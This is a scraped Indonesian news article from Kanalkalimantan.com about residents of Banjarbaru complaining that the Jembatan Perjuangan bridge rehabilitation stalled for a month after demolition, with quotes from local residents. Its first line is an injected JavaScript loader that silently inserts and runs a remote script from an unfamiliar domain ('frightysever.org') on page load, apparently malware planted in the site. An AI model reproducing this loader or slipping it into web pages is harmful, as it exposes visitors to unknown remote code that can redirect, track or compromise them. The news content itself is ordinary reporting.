(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Proyek rehab perbaikan Jembatan Perjuangan di Kelurahan Sungai Tiung, Kecamatan Cempaka, Kota Banjarbaru dikeluhkan warga. Lantaran setelah dibongkar, pelaksanaan rehab jembatan tak kunjung terlihat dilanjutkan.
Dikabarkan warga setelah dibiongkar, Jembatan Perjuangan tersebut selama sebulan pekerja tak ada melakukan pekerjaan, kondisi itu membuat geram warga.
Sekadar diketahui, Jembatan Perjuangan menjadi penghubung Kelurahan Cempaka dan Sungai Tiung menjadi jalur alternatif bagi warga, jika Jalan Mistarcokrokusumo tepatnya di depan Masjid Nurul Hasanah terendam banjir.
Menurut Ketua RT 04, Asmani, proyek rehabilitasi jembatan tersebut sudah berlangsung hampir sebulan, setelah dirobohkan terbengkalai hingga kurang lebih sebulan lamanya.
Baca juga: Unjuk Rasa Tolak BBM Naik, Massa PMII Kalsel Ditemui Dua Wakil Rakyat
“Benar jembatan itu lama tidak dikerjakan, setelah dirobohkan, bahkan tidak ada penjelasan dari kontraktornya,” ungkapnya.
Dibeberkan Asmani, pengerjaan rehabilitasi jembatan perjuangan ini hanya tiga bulan, sementara sudah sebulan setelah dirobohkan lagi terlihat pekerjaan.
Bahkan, dirinya mendapat kabar kontraktor proyek sempat berganti sekali dan baru saja dikerjakan kembali dengan kontraktor baru.
Asmani mengatakan, Jembatan Perjuangan ini merupakan alternatif warga jika Jalan Mistar Cokrokusumo di Masjid Nurul Hasanah terendam.
“Mulai tahun 2000, sudah jadi alternatif warga jika jalan utama di muka terendam,” katanya.
Dirinya berharap fasilitas umum tersebut bisa diperbaiki secepatnya, sebab jika terjadi hujan deras beberapa jam berdampak kepada jalan utama di Cempaka yang terendam.
Baca juga: Ringankan Beban Pasca BBM Naik, Polres Tanbu Bagikan 250 Paket Sembako ke Warga
“Kalau kami warga RT 04 maunya jembatan tersebut segera dikerjakan, jangan sampai terbengkalai,” harapnya.
Di tempat yang sama, Dedi mengakui, dirinya mendapat kabar jika para pekerja dari pihak kontraktor setelah melakukan pembongkaran mengalami sakit. “Banyak yang garing (Sakit, red) sehabis menghancur jembatan ini,” katanya.
Masih menurut Dedi, jembatan tersebut memang oleh warga dikenal berbau mistis.
“Ada yang menunggu di sungai ini, mereka juga ketika menghancur jembatan tidak permisi atau besalamatan,” akunya.
Warga mendesak instansi terkait agar segera membangun Jembatan Perjuangan, sebeb mereka takut menjelang musim penghujan ini jalan alternatif yang biasa mereka lalui jadi terhambat. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
KANALKALIMANTAN.COM, MARTAPURA - Debat publik kedua calon bupati dan wakil bupati Kabupaten Banjar yang digelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ratusan ASN di lingkungan Pemerintah Kabupaten (Pemkab) Hulu Sungai Utara (HSU) mengikuti… Read More
KANALKALIMANTAN. COM, PARINGIN - Komisi Pemilihan Umum (KPU) Kabupaten Balangan menggelar debat terbuka kedua pasangan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Suasana di kantor Bawaslu Provinsi Kalsel pada Jumat (22/11/2024) siang terpantau seperti… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
This website uses cookies.